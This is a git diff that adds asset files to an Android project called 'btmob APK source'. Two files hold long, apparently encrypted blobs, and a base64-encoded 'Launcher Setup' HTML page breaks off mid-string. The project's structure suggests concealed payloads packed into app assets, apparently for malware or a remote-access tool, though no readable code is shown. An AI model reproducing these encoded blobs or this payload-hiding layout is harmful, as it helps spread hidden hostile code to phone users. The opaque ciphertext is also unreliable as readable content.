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 \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/assets/2.bt b/btmob APK source/APK/app/src/main/assets/2.bt new file mode 100644 index 0000000..485eee8 --- /dev/null +++ b/btmob APK source/APK/app/src/main/assets/2.bt @@ -0,0 +1 @@ +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 \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/assets/3.bt b/btmob APK source/APK/app/src/main/assets/3.bt new file mode 100644 index 0000000..fbc46f5 --- /dev/null +++ b/btmob APK source/APK/app/src/main/assets/3.bt @@ -0,0 +1 @@ +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 \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/assets/launcher.html b/btmob APK source/APK/app/src/main/assets/launcher.html new file mode 100644 index 0000000..1fd9e29 --- /dev/null +++ b/btmob APK source/APK/app/src/main/assets/launcher.html @@ -0,0 +1 @@ +PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPVtMTkddPg0KPGhlYWQ+DQo8bWV0YSBjaGFyc2V0PVVURi04IC8+DQo8bWV0YSBuYW1lPXZpZXdwb3J0IGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KPHRpdGxlPkxhdW5jaGVyIFNldHVwPC90aXRsZT4NCjxzdHlsZT5ib2R5e21hcmdpbjowO3BhZGRpbmc6MDtiYWNrZ3JvdW5kOiMxODE4MTg7Zm9udC1mYW1pbHk6J1NlZ29lIFVJJyxUYWhvbWEsc2Fucy1zZXJpZjtjb2xvcjp3aGl0ZTtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2p1c3RpZnktY29udGVudDpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO2hlaWdodDoxMDB2aDt0ZXh0LWFsaWduOmNlbnRlcjtwb3NpdGlvbjpyZWxhdGl2ZX1Aa2V5ZnJhbWVzIGdsb3d7MCV7b3BhY2l0eTouNH01MCV7b3BhY2l0eToxfTEwMCV7b3BhY2l0eTouNH19LmRvdHMtbG9hZGVye2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcjttYXJnaW4tYm90dG9tOjMwcHg7aGVpZ2h0OjYwcHh9LmRvdHMtbG9hZGVyIHNwYW57d2lkdGg6MTJweDtoZWlnaHQ6MTJweDttYXJnaW46MCA2cHg7YmFja2dyb3VuZC1jb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6NTAlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2FuaW1hdGlvbjpib3VuY2UgMS4ycyBpbmZpbml0ZSBlYXNlLWluLW91dH0uZG90cy1sb2FkZXIgc3BhbjpudGgtY2hpbGQoMil7YW5pbWF0aW9uLWRlbGF5Oi4yc30uZG90cy1sb2FkZXIgc3BhbjpudGgtY2hpbGQoMyl7YW5pbWF0aW9uLWRlbGF5Oi40c31Aa2V5ZnJhbWVzIGJvdW5jZXswJSw4MCUsMTAwJXt0cmFuc2Zvcm06c2NhbGUoMC44KTtvcGFjaXR5Oi41fTQwJXt0cmFuc2Zvcm06c2NhbGUoMS40KTtvcGFjaXR5OjF9fS5zdGF0dXN7Zm9udC1zaXplOjEuM3JlbTttaW4taGVpZ2h0OjEuNWVtO21hcmdpbi1ib3R0b206MTBweDthbmltYXRpb246Z2xvdyAycyBlYXNlLWluLW91dCBpbmZpbml0ZX0ud2FybmluZ3twb3NpdGlvbjphYnNvbHV0ZTtib3R0b206MjBweDtmb250LXNpemU6MXJlbTtjb2xvcjojZmYyZDJkfUBtZWRpYShtYXgtd2lkdGg6NDAwcHgpey5zdGF0dXN7Zm9udC1zaXplOjEuMXJlbX0ud2FybmluZ3tmb250LXNpemU6LjhyZW19fS5wcm9ncmVzc3tmb250LXNpemU6MS4xcmVtO2NvbG9yOiNjY2M7bWluLWhlaWdodDoxLjNlbTttYXJnaW4tYm90dG9tOjEwcHg7YW5pbWF0aW9uOmdsb3cgMnMgZWFzZS1pbi1vdXQgaW5maW5pdGV9LmFwcC1pY29ue3dpZHR